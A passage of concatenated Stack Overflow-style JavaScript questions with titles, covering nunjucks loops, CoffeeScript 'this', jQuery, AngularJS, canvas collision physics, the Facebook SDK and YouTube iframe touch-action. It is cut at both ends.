'' > < table id= '' dailySales '' > < /table > < /div >",How to make tbody of html table scroll vertically "JS : I have a large form made of radio buttons that I would like to create dynamically with nunjucks . I have a json file with data to populate each html form input group with variables . The html consists of two radio inputs per group . I can retrieve the variables from the json file but am stuck on creating the FOR loop . What I am trying to acheive is loop through each subsection in checklist.json and populate the html list with the variables in each array , building the list until the end of the data . As you can see from the html all of the variables from each array are used twice in the html input block except value.Summary : For as long as there are subsections containing an array , iterate the html form inputs and populate each with the objects in each array.index.njkschecklist.json ( var=checklist_json ) checklist-radio.njkThoughts please ? edit : the real list is much bigger with many sections and subsections . { % include `` ../includes/checklist-radio.njk '' % } { `` checklist_title '' : '' checklist variable test '' , '' checklist '' : [ { `` section_title '' : '' Responsive Design ( Useability ) '' , `` section '' : [ { `` subsection_title1 '' : '' Mozilla Firefox Useability '' , `` subsection '' : [ { `` radio_title '' : `` Mobile ( Samsung S7 Edge ) '' , `` name '' : '' firefox_mobile '' , `` value '' : 1 , `` class '' : '' useability '' } , { `` radio_title '' : `` Tablet ( Surface Pro ) '' , `` name '' : '' firefox_tablet '' , `` value '' : 1 , `` class '' : '' useability '' } , { `` radio_title '' : `` Desktop ( Windows 10 ) '' , `` name '' : '' firefox_desktop '' , `` value '' : 1 , `` class '' : '' useability '' } ] } ] } ] } { % for checklist_json.checklist.section.subsection in checklist_json.checklist.section % } < li > < span class= '' radio_title '' > { { checklist_json.checklist.section.subsection.radio_title } } < /span > < label class= '' radio_label '' > < input type= '' radio '' class= '' radio { { checklist_json.checklist.section.subsection.class } } '' name= '' { { checklist_json.checklist.section.subsection.name } } '' value= '' { { checklist_json.checklist.section.subsection.value | escape } } '' > Yes < /label > < label class= '' radio_label '' > < input type= '' radio '' class= '' radio { { checklist_json.checklist.section.subsection.class } } '' name= '' { { checklist_json.checklist.section.subsection.name } } '' value= '' 0 '' > No < /label > < /li > { % endfor % }","Iterate form radio inputs dynamically with json data , nunjucks and a for loop" "JS : I 'm working through Trevor Burnham 's CoffeeScript book and I 've run into a weird puzzle concerning this/ @ . The puzzle has a few parts ( and I may be just very confused ) , so I 'll try to make this as clear as I can.The main problem I 'm having is that I get varied and inconsistent results running the same code through different REPLs and interpreters . I 'm testing with ( 1 ) the coffee REPL and interpreter , ( 2 ) Node 's REPL and interpreter and ( 3 ) v8 's REPL and interpreter.Here 's the code , first as Coffeescript then as Javascript : Here are the results : So the real questions , I suppose , are ( 1 ) what results should I expect and ( 2 ) why ca n't these interpreters and REPLs get along ? ( My going theory is that v8 is right : in the global context name and this.name should be the same thing , I would have thought . But I 'm very ready to believe that I do n't understand this in Javascript . ) Edit : If I add this.name = null/ @ name = null before calling setName ( as Pointy suggests below ) then Coffeescript and Node give me 'Lulu ' and 'null ' back but v8 still returns 'Lulu ' for both . ( v8 still makes more sense to me here . I set name to null initially in the global context , but then setName sets it ( in the global context ) to 'Lulu ' . So afterwards , this is what I should see there . ) // coffeescriptsetName = ( name ) - > @ name = namesetName 'Lulu'console.log nameconsole.log @ name// Javascript via the coffee compiler ( function ( ) { var setName ; setName = function ( name ) { return this.name = name ; } ; setName ( 'Lulu ' ) ; // console.log for node below - print for v8 // uncomment one or the other depending on what you 're trying // console.log ( name ) ; // console.log ( this.name ) ; // print ( name ) ; // print ( this.name ) ; } ) .call ( this ) ; $ coffee setName.coffeeLuluundefined # coffee REPL # This appears to be a bug in the REPL # See https : //github.com/jashkenas/coffee-script/issues/1444coffee > setName = ( name ) - > @ name = name [ Function ] coffee > setName 'Lulu '' Lulu'coffee > console.log nameReferenceError : name is not defined at repl:2:1 at Object.eval ( /Users/telemachus/local/node-v0.4.8/lib/node_modules/coffee-script/lib/coffee-script.js:89:15 ) at Interface. < anonymous > ( /Users/telemachus/local/node-v0.4.8/lib/node_modules/coffee-script/lib/repl.js:39:28 ) at Interface.emit ( events.js:64:17 ) at Interface._onLine ( readline.js:153:10 ) at Interface._line ( readline.js:408:8 ) at Interface._ttyWrite ( readline.js:585:14 ) at ReadStream. < anonymous > ( readline.js:73:12 ) at ReadStream.emit ( events.js:81:20 ) at ReadStream._emitKey ( tty_posix.js:307:10 ) coffee > console.log @ nameundefined $ v8 setName.jsLuluLulu # v8 REPL > > ( function ( ) { var setName ; setName=function ( name ) { return this.name=name ; } ; setName ( 'Lulu ' ) ; print ( name ) ; print ( this.name ) ; } ) .call ( this ) ; LuluLulu # Switch print to console.log or require puts from sys $ node setName.jsLuluundefined # node REPL > ( function ( ) { ... var setName ; ... setName = function ( name ) { ... return this.name = name ; ... } ; ... setName ( 'Lulu ' ) ; ... console.log ( name ) ; ... console.log ( this.name ) ; ... } ) .call ( this ) ; LuluLulu",A puzzle about this/ @ in Javascript/Coffeescript JS : I am struggling with understanding how this snippet works on a basic levelPlease help me understand where i got it wrong . My thinking : First there is operator precedence so ! evaluates before ==.Next ToPrimitive is called and [ ] converts to empty string. ! operator notices that it needs to convert `` '' into boolean so it takes that value and makes it into false then negates into true.== prefers to compare numbers so in my thinking true makes 1 and [ ] is converted into `` '' and then 0Why does it work then ? Where did I get it wrong ? if ( [ ] == ! [ ] ) { console.log ( `` this evaluates to true '' ) ; },What is happening in this loose equality comparison of 2 empty arrays "JS : I have a javascript chat bot where a person can type into an input box any question they like and hope to get an accurate answer . I can do this but I know I 'm going about this all wrong because I do n't know what position the number will appear in the sentence . If a person types in exactly : what 's the square root of 5 this works fine . If he types in things like this it does n't . what is the square root of the 5the square root of 5 is whatdo you know what the square root of 5 isetcI need to be able to determine where the number appears in the sentence then do the calculation from there . Note the line below is part of a bigger working chatbot . In the line below I 'm just trying to be able to answer any square root question regardless of where the number appears in the sentence . I also know there are many pitfalls with an open ended input box where a person can type anything such as spelling errors etc . This is just for entertainment not a serious scientific project . : ) Just to be clear the bot is written using `` If statemments '' for a reason . If the input in this case does n't include the words `` what '' and `` square root '' and `` some number '' the line does n't trigger and is answered further down by the bot with a generic `` I do n't know type of response '' . So I 'm hoping any answer will fit the format I am using . Be kind , I 'm new here . I like making bots but I 'm not much of a programmer . Thanks . if ( ( word [ 0 ] == '' what 's '' ) & & ( word [ 1 ] == '' the '' ) & & ( word [ 2 ] == '' square '' ) & & ( word [ 3 ] == '' root '' ) & & ( word [ 4 ] == '' of '' ) & & ( input.search ( /\d { 1,10 } / ) ! =-1 ) & & ( num_of_words==6 ) ) { var root= word [ 5 ] ; if ( root < 0 ) { document.result.result.value = `` The square root of a negative number is not possible . `` ; } else { word [ 5 ] = Math.sqrt ( root ) ; word [ 5 ] = Math.round ( word [ 5 ] *100 ) /100 document.result.result.value = `` The square root of `` + root + '' is `` + word [ 5 ] + '' . `` ; } return true ; }",Search string for numbers "JS : What is the difference between these import methods ? Method 1 : Method 2 : The es2015 docs showed these two examples , and I ca n't figure out the purpose of the curly braces . It seems like all of the things listed after import will be assigned to the window object anyway.Docs for reference : https : //babeljs.io/docs/learn-es2015/ import { sum , pi } from `` lib/math '' ; import exp , { pi , e } from `` lib/mathplusplus '' ;",What is the difference between these ES6 import methods ? "JS : The question is simple ; using jQuery 's css function , the computed style of a CSS attribute may be returned , but what if there are more than one style for that attribute being rendered ? For example : The instruction $ ( ' # foo ' ) .css ( 'text-decoration ' ) ; will return underline . Now if I change it toThe instruction $ ( ' # bar ' ) .css ( 'text-decoration ' ) ; will return line-through , alright.But the actual text is also underline ! How can I return both ? Do I need to search all ancestors if I want to know if some text is both underline and line-through ? Sounds a bit painful , no ? ** Edit **Another problem arises whith this HTMLwhere $ ( ' # e1 ' ) .css ( 'text-decoration ' ) ; returns none for some reason , while the text is clearly rendered with an underline . ** Disclaimer **This question is not to debate how the UA renders an element , but if an element hierarchy applies a CSS or not . If one wants to understand text-decoration better , I suggest one would read about it . The question tries to focus on a more generalize matter . For example , it can also apply to this HTML where one could want to know if the element keyword is visible or not . With the code below , this is simply done with** UPDATE **After all the answers and comments , here is , based on Brock Adams solution : Thank you , everyone , for your inputs . < div id= '' foo '' style= '' text-decoration : underline ; '' > Some underline text < /div > < div id= '' foo '' style= '' text-decoration : underline ; '' > Some underline < span id= '' bar '' style= '' text-decoration : line-through ; '' > text < /span > < /div > < span style= '' text-decoration : underline ; '' > some < span id= '' e1 '' style= '' font-weight : bold ; '' > text < /span > < /span > < div style= '' display : none ; '' > Some < span id= '' keyword '' style= '' text-decoration : underline ; '' > hidden < /span > text < /div > cssLookup ( $ ( ' # keyword ' ) , 'display ' , 'none ' ) ; // - > true /** * Lookup the given node and node 's parents for the given style value . Returns boolean * * @ param e element ( jQuery object ) * @ param style the style name * @ param value the value to look for * @ return boolean */ function cssLookup ( e , style , value ) { var result = ( e.css ( style ) == value ) ; if ( ! result ) { e.parents ( ) .each ( function ( ) { if ( $ ( this ) .css ( style ) == value ) { result = true ; return false ; } } ) ; } return result ; }",CSS rules with multiple possible values ( jQuery ) "JS : I 've created some divs fading in with jQuery , I have a problem if the user scrolls a bit down though . If you are not at the top of the page , it will always jump to the bottom when a new div fades in.Here 's my code : Update : Example fiddle : https : //jsfiddle.net/6qj1hbp0/1/This would n't be a problem , if this was the only element on a page and the user could n't scroll . However , it 's integrated on another site ( survey software ) , so the user is able to scroll.Is there anything I can do to prevent the site from jumping to the bottom ? < style > # overflowwrap { overflow : hidden ! important ; } < /style > < div id= '' overflowwrap '' > < div id= '' five '' style= '' display : none ; '' > a lot of content < /div > < div id= '' four '' style= '' display : none ; '' > a lot of content < /div > < div id= '' three '' style= '' display : none ; '' > a lot of content < /div > < div id= '' two '' style= '' display : none ; '' > a lot of content < /div > < div id= '' one '' style= '' display : none ; '' > a lot of content < /div > < /div > < script > $ ( ' # overflowwrap ' ) .css ( 'max-height ' , $ ( window ) .height ( ) ) ; $ ( `` # one '' ) .fadeIn ( 500 ) ; setTimeout ( function show ( ) { $ ( `` # two '' ) .fadeIn ( 500 ) ; } , 3000 ) ; setTimeout ( function show ( ) { $ ( `` # three '' ) .fadeIn ( 500 ) ; } , 6000 ) ; setTimeout ( function show ( ) { $ ( `` # four '' ) .fadeIn ( 500 ) ; } , 9000 ) ; setTimeout ( function show ( ) { $ ( `` # five '' ) .fadeIn ( 500 ) ; } , 12000 ) ; < /script >",Prevent jQuery from jumping to the bottom ( when using fadeIn ) "JS : In the code above I made a mistake by declaring variable names and using name instead . I thought 'strict ' mode would catch it but it did n't . Should n't this throw an error in this case ? var test = function ( ) { 'use strict ' ; var mapNames = { 'name ' : 'City Name : ' , 'coord.lat ' : 'Latitute : ' } ; for ( var key in mapNames ) { var names ; if ( mapNames [ key ] ) { name = mapNames [ key ] ; } else { name = key ; } } console.log ( name ) ; } test ( ) ;",JavaScript 'strict mode ' not working as expected ? "JS : I have a very simple datepicker using AngularJS and I want to give it a placeholder to translate it using AngularJS translate ( like I do usually in my project ) .Here 's my HTML code : Doing so throws me this error : Error : [ $ compile : multidir ] Multiple directives [ mdDatepicker ( module : material.components.datepicker ) , translate ( module : pascalprecht.translate ) ] asking for new/isolated scope on : < md-datepicker class= '' ng-pristine ng-untouched ng-valid _md-datepicker-has-triangle-icon '' ng-model= '' vm.calendarEvent.start '' ng-model-options= '' { timezone : 'UTC ' } '' md-placeholder= '' Une date '' translate= '' '' translate-md-placeholder= '' PROF.SHARE.DUE '' > < div flex class= '' layout-row '' > < md-datepicker ng-model= '' vm.calendarEvent.start '' ng-model-options= '' { timezone : 'UTC ' } '' md-placeholder= '' Une date '' translate translate-md-placeholder= '' PROF.SHARE.DUE '' > < /md-datepicker > < /div >",AngularJS : How to translate a md-placeholder ? "JS : I want to trigger an animation on a list of elements and have each iteration increase in delay a bit . I have what I 've done so far here : JS FiddleThere are n't any errors and it technically works , but they all animate at the same time . I know it 's very similar ( practically identical ) to this , similar code , but for some reason it 's not working . What am I missing ? var timer = 1000 ; $ ( 'div ' ) .each ( function ( ) { setTimeout ( function ( ) { $ ( 'div ' ) .animate ( { width:200 , height:200 , opacity:1 } , 1000 ) ; } , timer ) ; timer += 1000 ; } ) ;",jquery - increase timeout interval with each iteration of .each ( ) "JS : I am having a go at building a game in html canvas . It 's a Air Hockey game and I have got pretty far though it . There are three circles in the game , the disc which is hit and the two controllers ( used to hit the disc/circle ) . I 've got the disc rebounding off the walls and have a function to detect when the disc has collided with a controller . The bit I am struggling with is when the two circle 's collide , the controller should stay still and the disc should move away in the correct direction . I 've read a bunch of article 's but still ca n't get it right . Here 's a Codepen link my progress so far . You can see that the puck rebounds off the controller but not in the correct direction . You 'll also see if the puck comes from behind the controller it goes through it . http : //codepen.io/allanpope/pen/a01ddb29cbdecef58197c2e829993284 ? editors=001I think what I am after is elastic collision but not sure on how to work it out . I 've found this article but have been unable to get it working.http : //gamedevelopment.tutsplus.com/tutorials/when-worlds-collide-simulating-circle-circle-collisions -- gamedev-769Heres is my collision detection function . Self refer 's to the disc and the controller [ i ] is the controller the disc hits.UpdatedDeconstructed a circle collision demo & tried to implement their collision formula . This is it below , works for hitting the puck/disc forward & down but wont hit the back backwards or up for some reason . this.discCollision = function ( ) { for ( var i = 0 ; i < controllers.length ; i++ ) { // Minus the x pos of one disc from the x pos of the other disc var distanceX = self.x - controllers [ i ] .x , // Minus the y pos of one disc from the y pos of the other disc distanceY = self.y - controllers [ i ] .y , // Multiply each of the distances by itself // Squareroot that number , which gives you the distance between the two disc 's distance = Math.sqrt ( distanceX * distanceX + distanceY * distanceY ) , // Added the two disc radius together addedRadius = self.radius + controllers [ i ] .radius ; // Check to see if the distance between the two circles is smaller than the added radius // If it is then we know the circles are overlapping if ( distance < = addedRadius ) { var newVelocityX = ( self.velocityX * ( self.mass - controllers [ i ] .mass ) + ( 2 * controllers [ i ] .mass * controllers [ i ] .velocityX ) ) / ( self.mass + controllers [ i ] .mass ) ; var newVelocityY = ( self.velocityY * ( self.mass - controllers [ i ] .mass ) + ( 2 * controllers [ i ] .mass * controllers [ i ] .velocityX ) ) / ( self.mass + controllers [ i ] .mass ) ; self.velocityX = newVelocityX ; self.velocityY = newVelocityY ; self.x = self.x + newVelocityX ; self.y = self.y + newVelocityY ; } } } this.discCollision = function ( ) { for ( var i = 0 ; i < controllers.length ; i++ ) { // Minus the x pos of one disc from the x pos of the other disc var distanceX = self.x - controllers [ i ] .x , // Minus the y pos of one disc from the y pos of the other disc distanceY = self.y - controllers [ i ] .y , // Multiply each of the distances by itself // Squareroot that number , which gives you the distance between the two disc 's distance = Math.sqrt ( distanceX * distanceX + distanceY * distanceY ) , // Added the two disc radius together addedRadius = self.radius + controllers [ i ] .radius ; // Check to see if the distance between the two circles is smaller than the added radius // If it is then we know the circles are overlapping if ( distance < addedRadius ) { var normalX = distanceX / distance , normalY = distanceY / distance , midpointX = ( controllers [ i ] .x + self.x ) / 2 , midpointY = ( controllers [ i ] .y + self.y ) / 2 , delta = ( ( controllers [ i ] .velocityX - self.velocityX ) * normalX ) + ( ( controllers [ i ] .velocityY - self.velocityY ) * normalY ) , deltaX = delta*normalX , deltaY = delta*normalY ; // Rebound puck self.x = midpointX + normalX * self.radius ; self.y = midpointY + normalY * self.radius ; self.velocityX += deltaX ; self.velocityY += deltaY ; // Accelerate once hit self.accelerationX = 3 ; self.accelerationY = 3 ; } } }","Canvas circle collision , how to work out where circles should move to once collided ?" "JS : Update 1I started with angular quickstart and only added facebook 's javascript , however , it wo n't load : I am Using Facebook JavaScript API to create login in an angular 2 app , but running into the following : TypeError : FB.login is not a functionindex.html ( Elided for brevity ) I noticed the script does not seem to load correctly , following is from Chrome devtools : Angular 2 ComponentAm I supposed to do something like the following ? as outlined here < script type= '' text/javascript '' src= '' //connect.facebook.net/en_US/sdk.js '' > < /script > < script type= '' text/javascript '' src= '' //connect.facebook.net/en_US/sdk.js '' > < /script > < script > System.import ( 'app ' ) .catch ( function ( err ) { console.error ( err ) ; } ) ; < /script > declare const FB : any ; @ Component ( { // usual suspects here } ) export class LoginComponent implements OnInit { constructor ( ) { FB.init ( { appId : 'my-app-id ' , cookie : false , xfbml : true , version : 'v2.5 ' } ) ; } ngOnInit ( ) : void { FB.getLoginStatus ( response = > { ... . } ) ; } onSignin ( socialMedia : string ) : void { FB.login ( ) ; // The errant line } } ( function ( d , s , id ) { var js , fjs = d.getElementsByTagName ( s ) [ 0 ] ; if ( d.getElementById ( id ) ) { return ; } js = d.createElement ( s ) ; js.id = id ; js.src = `` //connect.facebook.com/en_US/sdk.js '' ; fjs.parentNode.insertBefore ( js , fjs ) ; } ( document , 'script ' , 'facebook-jssdk ' ) ) ;",Facebook social sigin-in javascript sdk wo n't load in Chrome or FF "JS : tl ; dr : YouTube embedded video < iframe > tags have touch-event-listeners . Active touch-event listeners cause scroll performance issues - AKA jank . I usually manage to fix active touch-event related jank issues by using touch-action : initial in CSS . This does not work for Youtube embedded video < iframe > elements.Intro : Kayce Basques - Google techie - writes : When you scroll a page and there 's such a delay that the page does n't feel anchored to your finger , that 's called scroll jank . Many times when you encounter scroll jank , the culprit is a touch event listener . Touch event listeners are often useful for tracking user interactions and creating custom scroll experiences , such as cancelling the scroll altogether when interacting with an embedded Google Map . Currently , browsers ca n't know if a touch event listener is going to cancel the scroll , so they always wait for the listener to finish before scrolling the page.I have found a way to sidestep this with CSS using touch-action The touch-action CSS property specifies whether , and in what ways , a given region can be manipulated by the user via a touchscreen ( for instance , by panning or zooming features built into the browser ) .If I use touch-action : initial the problem disappears . If you want to see what causes scroll jank and what does not , examine the screenshot belowRed buttons cause jank while green ones do n't . The only differece between the two is that red buttons are set to touch-action : manipulation which makes red buttons actively `` listen '' and process input before scrolling can proceedThe issueI embed videos from Youtube . The iframes contain touch event listeners that are active . The method I mentioned above does not work . I do n't have access to Youtube code to edit the listeners and set them to passive.I have tried to narrow down the issue . I have found that the element with the class .html5-video-player has the following CSSAccording to the docs , manipulation can [ ... ] Enable panning and pinch zoom gestures , but disable additional non-standard gestures such as double-tap to zoom . Disabling double-tap to zoom removes the need for browsers to delay the generation of click events when the user taps the screen . This is an alias for `` pan-x pan-y pinch-zoom '' ( which , for compatibility , is itself still valid ) .and [ ... ] is also often used to completely disable the delay of click events caused by support for the double-tap to zoom gesture.All of which are things I do n't need.Logic says all I need to do is add this to my CSSbut that does n't work , nor does this : or this : or even this : Even if I try a different approach like : It still does not work . For a reference on what it actually looks like on screen examine the screenshot belowCode sandbox : Question : How can I turn off / disable / reset the touch event listener inside a Youtube embed < iframe > ? .html5-video-player { touch-action : manipulation ; } .html5-video-player { touch-action : initial ; } .html5-video-player { touch-action : initial ! important ; } .html5-video-player { touch-action : unset ! important ; touch-action : initial ! important ; } .html5-video-player { touch-action : none ! important ; } * > iframe , iframe > * , * > .html5-video-player , .html5-video-player > * , .html5-video-player , iframe > * > .html5-video-player , iframe .html5-video-player { /* < -- -- All of these do n't work */ touch-action : initial /* and all other variations mentioned above */ } * { max-width : 500px ; margin : 1em auto ; text-align : justify } button { color : white ! important ; background : green ; } button : nth-child ( odd ) { /* < -- -- these buttons have active touch event listners and hinder scrolling */ background : red ; touch-action : manipulation } * > iframe , iframe > * , * > .html5-video-player , .html5-video-player > * , .html5-video-player , iframe .html5-video-player { /* < -- -- All of these do n't work */ touch-action : initial } < p > Lorem ipsum dolor sit amet , ea audiam feugiat voluptatibus mea , eum ex prima electram . Malis tamquam ad nam , ius ne laudem accusata dissentiet . Quidam vocent inciderint eu sea , mel eu consul constituto , vix congue quidam fierent id . Et justo tantas populo his , laudem altera mei an . An dictas ancillae mediocrem ius . Exerci scaevola ei nam , ad vel prima mandamus . Pro eu eruditi probatus splendide , has ex nonumes minimum , sint blandit an sea . Etiam tincidunt his ad , ex assum fabellas deterruisset vix . Usu ex diam molestiae similique , an viris aliquip tacimates eam . Cum vitae nonumes te , ne ius nostro omittam probatus , mea te meis commodo reprehendunt . Purto omittam probatus at eam . Eam fugit inermis ut , cu fastidii inimicus vituperatoribus usu . Libris sapientem posidonium mea ut , an ipsum postulant referrentur mea . Et vim nihil ponderum disputationi , fuisset menandri percipitur sed te , labores mnesarchum appellantur has et. < button > Button < /button > Brute tation sea te , quas temporibus vel an . Nam cu legere malorum , sea ut < button > Button < /button > tollit insolens reformidans . Ut mei vide mucius copiosae , eum laudem eligendi an . Invidunt deterruisset an his , ex duis apeirian vel . Cum ut quaeque sensibus expetenda . Nec cu audiam delicatissimi . Ius quod vulputate constituam no , cu lobortis consectetuer duo . Tota simul populo et quo , ad per aliquip graecis consetetur , mei et adhuc laboramus . Aeque nostro vocent eu quo , ad alia virtute pro , eu sit graeci honestatis . Dolore volutpat efficiendi nam id , in pro case choro . Cum in liber dissentiunt necessitatibus . Sit ut recusabo sadipscing disputando , congue salutatus scribentur duo ei . Vim eu natum integre feugait , at esse tincidunt usu . Nonumy accusata in cum . Augue voluptua antiopam in nec , ut aperiam albucius detraxit usu . Mucius salutatus mei no , congue maiestatis pro cu . Agam tota volutpat usu ne , atqui scribentur dissentiet in usu . Vel justo option pertinax at , justo essent at sit . Mea te vivendo conceptam , < button > Button < /button > eos sonet antiopam concludaturque ea , eos ei falli oporteat deserunt . Ne vix libris scripta prompta , vis ex vitae impetus mandamus . Pri ne populo incorrupte percipitur , reque putent dignissim et vis . Saepe fuisset qui eu , in probo assueverit nam . An quo scriptorem appellantur disputationi , usu dicta veritus in . Ne deterruisset voluptatibus qui , cu usu tamquam persecuti , pri detracto gloriatur definitiones id . Veniam inermis ut has . In timeam efficiendi efficiantur his , vix posse facilis ea , altera sententiae consectetuer eu mea . Eu qui sonet nusquam molestie , ex dicant < button > Button < /button > facete platonem mea , in facer alterum his . Cu eum appetere sadipscing . Alii eirmod invenire est ea . Te qui modo ponderum maluisset , saepe exerci accumsan est et . Unum quas velit ei ius , sit ridens commune conceptam ei . Est purto putent accusamus in . In mel graeci labores , eos enim idque ex . Id tollit putent sed , laoreet accommodare consectetuer eu duo . Augue facilisi explicari no vis . Eu cum placerat gloriatur , vel virtute vituperatoribus ex , ipsum ocurreret eu sed . At his aliquid adolescens , delectus deterruisset eu < button > Button < /button > pro . His dicat dolores ex , vel id tempor referrentur , agam congue maiestatis nec id . Ei vix option menandri appellantur . Fabulas graecis ponderum mea te . Ad solum maluisset assentior eam , qui libris indoctum scriptorem cu . At elit legere iisque sea , eius ponderum et nam . Has ne aliquid impedit corrumpit , an munere rationibus sea . Ut qui facilis vivendo consectetuer . Explicari neglegentur comprehensam te pri . Sanctus iudicabit deterruisset ea his . Nam te affert nullam , ex diam contentiones vix . Mel cu nisl autem docendi . Cu possit tamquam aliquid eum , congue iudico ut pro , lobortis praesent at quo . Vim cu tibique adipiscing . His nobis vocent tritani et . Mei ne deserunt constituam , usu prima putant et . In has duis audiam delectus , id nam tota delectus , no sanctus facilisi accusata sed . Audire deseruisse qui ei , no mel soleat doming , an pri agam posse eleifend . Duo lucilius elaboraret et . Eu illud ludus aperiri duo , cu malis dolorem eos . Reque aperiri similique vim ut , eu vel hinc possit . No nusquam nominavi elaboraret sea , at solum ignota his . At quando everti definitionem pri . Eu eum meis consulatu , nec audiam vivendo ne , eruditi accusamus persequeris cum no . Nam ne purto legimus . Qui saepe utroque meliore in . Dicunt nonumes referrentur per id . Ne mel pertinacia constituto appellantur . Eos cu alii habeo iudicabit . Nec et verterem abhorreant quaerendum , qui an nobis noluisse consectetuer , no vero utinam facete has . Eu semper impetus intellegebat vis , ad mea scripta percipit , et cibo zril clita mel . Quo elitr partiendo comprehensam no . Mundi quaerendum at usu . Vel et iisque comprehensam vituperatoribus . Has appetere moderatius et , agam decore conceptam no pro , vide aliquam salutandi cum te . Quo probo deleniti imperdiet ne . Facer dignissim ad sed , possit lucilius moderatius ne eum , eius reque eam ex . Assum fierent pro no . Eu ignota commodo facilis eum , per ex mutat mandamus mediocrem . Ei his tamquam perpetua . Ei epicurei erroribus disputationi usu . Eos delenit aliquando tincidunt eu . Ad option utamur nam , quo eu munere altera delenit , causae ornatus molestie no vix . Pro ne antiopam consulatu . Ea mei accusam mentitum appetere , mea prima tincidunt assueverit at . Ius appetere accusamus ex , pri an justo sonet . Ne omnis iisque per . Dicam menandri ea mel . Audiam assentior no mel , ea dicam vituperata pri , at eum timeam offendit vivendum . In eum voluptatibus vituperatoribus , et mei meis inani putent . Sit eu aliquid tractatos definiebas . Populo omnesque necessitatibus eum no , dicant graece dolores vix ne . Nec ei homero recusabo complectitur , graecis urbanitas in duo . Prima complectitur id vim , no quas causae expetendis duo . Volumus recusabo adolescens ut duo . No eos erat electram instructior , adhuc nemore conceptam et duo < /p > < iframe width= '' 560 '' height= '' 315 '' src= '' https : //www.youtube.com/embed/6h4_-F6jnyk ? rel=0 & amp ; controls=0 & amp ; showinfo=0 '' frameborder= '' 0 '' allowfullscreen > < /iframe > < p > Lorem ipsum dolor sit amet , ea audiam feugiat voluptatibus mea , eum ex prima electram . Malis tamquam ad nam , ius ne laudem accusata dissentiet . Quidam vocent inciderint eu sea , mel eu consul constituto , vix congue quidam fierent id . Et justo tantas populo his , laudem altera mei an . An dictas ancillae mediocrem ius . Exerci scaevola ei nam , ad vel prima mandamus . Pro eu eruditi probatus splendide , has ex nonumes minimum , sint < button > Button < /button > blandit an sea . Etiam tincidunt his ad , ex assum fabellas deterruisset vix . Usu ex diam molestiae similique , an viris aliquip tacimates eam . Cum vitae nonumes te , ne ius nostro omittam probatus , mea te meis commodo reprehendunt . Purto omittam probatus at eam . Eam fugit inermis ut , cu fastidii inimicus vituperatoribus usu . Libris sapientem posidonium mea ut , an ipsum postulant referrentur mea . Et vim nihil ponderum disputationi , fuisset menandri percipitur sed te , labores mnesarchum appellantur has et . Brute tation sea te , quas temporibus vel an . Nam cu legere malorum , sea ut tollit insolens reformidans . Ut mei vide < button > Button < /button > mucius copiosae , eum laudem eligendi an . Invidunt deterruisset an his , ex duis apeirian vel . Cum ut quaeque sensibus expetenda . Nec cu audiam delicatissimi . Ius quod vulputate constituam no , cu lobortis consectetuer duo . Tota simul populo et quo , ad per aliquip graecis consetetur , mei et adhuc laboramus . Aeque nostro vocent eu quo , ad alia virtute pro , eu sit graeci honestatis . Dolore volutpat efficiendi nam id , in pro case choro . Cum in liber dissentiunt necessitatibus . Sit ut recusabo sadipscing disputando , congue salutatus scribentur duo ei . Vim eu natum integre feugait , at esse tincidunt usu . Nonumy accusata in cum . Augue voluptua antiopam in nec , ut aperiam albucius detraxit usu . Mucius salutatus mei no , congue maiestatis pro cu . Agam tota volutpat usu ne , atqui scribentur dissentiet in usu . Vel justo option pertinax at , justo essent at sit . Mea te vivendo conceptam , eos sonet antiopam concludaturque ea , eos ei falli oporteat deserunt . Ne vix libris scripta prompta , vis ex vitae impetus mandamus . Pri ne populo incorrupte percipitur , reque putent dignissim et vis . Saepe fuisset qui eu , in probo assueverit nam . An quo scriptorem appellantur disputationi , usu dicta veritus in . Ne deterruisset voluptatibus qui , cu usu tamquam persecuti , pri detracto gloriatur definitiones id . Veniam inermis ut has . In timeam efficiendi efficiantur his , vix posse facilis ea , altera sententiae consectetuer eu mea . Eu qui sonet nusquam molestie , ex dicant facete platonem mea , in facer alterum his . Cu eum appetere sadipscing . Alii eirmod invenire est ea . Te qui modo ponderum maluisset , saepe exerci accumsan est et . Unum quas velit ei ius , sit ridens commune conceptam ei . Est purto putent accusamus in . In mel graeci labores , eos enim idque ex . Id tollit putent sed , laoreet accommodare consectetuer eu duo . Augue facilisi explicari no vis . Eu cum placerat gloriatur , vel virtute vituperatoribus ex , ipsum ocurreret eu sed . At his aliquid adolescens , delectus deterruisset eu pro . His dicat dolores ex , vel id tempor referrentur , agam congue maiestatis nec id . Ei vix option menandri appellantur . Fabulas graecis ponderum mea te . Ad solum maluisset assentior eam , qui libris indoctum scriptorem cu . At elit legere iisque sea , eius ponderum et nam . Has ne aliquid impedit corrumpit , an munere rationibus sea . Ut qui facilis vivendo consectetuer . Explicari neglegentur comprehensam te pri . Sanctus iudicabit deterruisset ea his . Nam te affert nullam , ex diam contentiones vix . Mel cu nisl autem docendi . Cu possit tamquam aliquid eum , congue iudico ut pro , lobortis praesent at quo . Vim cu tibique adipiscing . His nobis vocent tritani et . Mei ne deserunt constituam , usu prima putant et . In has duis audiam delectus , id nam tota delectus , no sanctus facilisi accusata sed . Audire deseruisse qui ei , no mel soleat doming , an pri agam posse eleifend . Duo lucilius elaboraret et . Eu illud ludus aperiri duo , cu malis dolorem eos . Reque aperiri similique vim ut , eu vel hinc possit . No nusquam nominavi elaboraret sea , at solum ignota his . At quando everti definitionem pri . Eu eum meis consulatu , nec audiam vivendo ne , eruditi accusamus persequeris cum no . Nam ne purto legimus . Qui saepe utroque meliore in . Dicunt nonumes referrentur per id . Ne mel pertinacia constituto appellantur . Eos cu alii habeo iudicabit . Nec et verterem abhorreant quaerendum , qui an nobis noluisse consectetuer , no vero utinam facete has . Eu semper impetus intellegebat vis , ad mea scripta percipit , et cibo < button > Button < /button > zril clita mel . Quo elitr < button > Button < /button > partiendo comprehensam no . Mundi quaerendum at usu . Vel et iisque comprehensam vituperatoribus . Has appetere moderatius et , agam decore conceptam no pro , vide aliquam salutandi cum te . Quo probo deleniti imperdiet ne . Facer dignissim ad sed , possit lucilius moderatius ne eum , eius reque eam ex . Assum fierent pro no . Eu ignota commodo facilis eum , per ex mutat mandamus mediocrem . Ei his tamquam perpetua . Ei epicurei erroribus disputationi usu . Eos delenit aliquando tincidunt eu . Ad option utamur nam , quo eu munere altera delenit , causae ornatus molestie no vix . Pro ne antiopam consulatu . Ea mei accusam mentitum appetere , mea prima tincidunt assueverit at . Ius appetere accusamus ex , pri an justo sonet . Ne omnis iisque per . Dicam menandri ea mel. < button > Button < /button > Audiam assentior no mel , ea dicam vituperata pri , at eum timeam offendit vivendum . In eum voluptatibus vituperatoribus , et mei meis inani putent . Sit eu aliquid tractatos definiebas . Populo omnesque necessitatibus eum no , dicant graece dolores vix ne . Nec ei 